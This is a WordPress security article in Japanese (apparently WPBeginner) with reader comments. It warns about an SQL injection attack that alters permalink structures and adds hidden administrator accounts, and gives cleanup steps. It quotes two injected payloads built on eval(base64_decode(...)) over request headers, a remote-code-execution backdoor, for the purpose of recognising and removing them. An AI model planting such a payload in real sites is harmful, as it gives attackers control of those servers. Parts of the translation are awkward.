Trusted WordPress tutorials, when you need them most.
Beginner’s Guide to WordPress
WPB Cup
25 Million+
Websites using our plugins
16+
Years of WordPress experience
3000+
WordPress tutorials
by experts

WordPressのSQLインジェクション – 最新の攻撃

最近、多くのサイトがSQL攻撃を受けており、サイトにコードが注入されている。このMySQLインジェクションはパーマリンクに影響を及ぼし、パーマリンクが効かなくなります。その結果、ブログ投稿のURLは機能しなくなります。この攻撃では多数のWordPressブログが標的にされており、この件を知らせてくれたAndy Soward氏に感謝する。

この攻撃によりパーマリンク構造に追加されたコードは以下のいずれかです:

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

これらの引用符は、サイト上のすべてのパーマリンクに付加され、手動で削除した場合のみ変更できます。

これを修正するには

設定 > パーマリンク]にアクセスし、上記のコードを削除して初期設定に置き換えてください。

次に行う必要があるのは、「ユーザー」です。複数の管理者がいることがわかります。名前は表示されませんが、数が増えているのがわかります。そこで必要なことは、すべてのユーザーを見て、最後に登録したユーザーを見つけることです。そのユーザーの上にマウスを置いて、リンクを取得してください。userid=のコードに1を足して変更してください。つまり、あなたが見ることができる最後のユーザーがユーザー#2だった場合、それに1を加えて3にしてください。非表示の管理者のファーストネームが変なコードになっているはずです。そのコードを削除して、彼を購読者にしてください。その後、戻って彼を削除してください。

これで問題が解決するはずです。PHPMyAdminにアクセスするだけでも削除できます。そこにユーザーが表示されます。

私たちはこのニュースをできるだけ早く伝え、ユーザーに更新してもらいたかっただけです。本当に〜してもよいですか?WordPressがすぐにリリースを出すことを願っています。

また、WordPressの管理エリアの安全性を確保するために、これらの対策をまだ実施していない場合は、こちらをご覧ください。

Disclosure: Our content is reader-supported. This means if you click on some of our links, then we may earn a commission. See how WPBeginner is funded, why it matters, and how you can support us. Here's our editorial process.

アバター

Editorial Staff at WPBeginner is a team of WordPress experts led by Syed Balkhi with over 16 years of experience in WordPress, Web Hosting, eCommerce, SEO, and Marketing. Started in 2009, WPBeginner is now the largest free WordPress resource site in the industry and is often referred to as the Wikipedia for WordPress.

The Ultimate WordPress Toolkit

Get FREE access to our toolkit - a collection of WordPress related products and resources that every professional should have!

Reader Interactions

8件のコメントLeave a Reply

  1. ahmed_alaaedin

    The database of my website has been injected few days ago, adding some strange characters and words after each post or page URL. I couldn’t find anything strange in the settings: permalinks or in the users menu. What to do to fix this problem, please? My hosting company has a backup of the infected database as well!

  2. a wordpress user

    i was hit by this twice.

    first time it was wassup plugin sql injection, this time im not sure. my hosting provider has blocked me.

    once they restore my a/c i will remove wordpres.. I have had it!

    • Editorial Staff

      Perhaps its not WordPress fault, maybe your hosting security is just not as good…

      Admin

    • Joey

      What did you figure out with this? I was just hit with same issue. All my WP sites on my account are suffering the same problem.

    • Editorial Staff

      We really appreciate this comment, the issue was not with the WP Super Cache, we believe it was the plugin called WP External Link. We uninstalled and reinstalled WP-Super Cache twice, but then we compared the development server where everything worked fine. The difference was this plugin. When we removed that plugin it worked. You may now read that post.

      Admin

      • lerrkin

        Maybe that was WP External Link and Super Cache conflict…
        I see my pasted WP-Super-Cache html comment above works as html comment and is invisible :) Text was “Page not cached by WP Super Cache. No closing HTML tag. Check your theme”.
        So last Super Cache ver. promises to do not html validity check.

        Oh, I’m reading!
        Thanks a lot!

Leave A Reply

Thanks for choosing to leave a comment. Please keep in mind that all comments are moderated according to our comment policy, and your email address will NOT be published. Please Do NOT use keywords in the name field. Let's have a personal and meaningful conversation.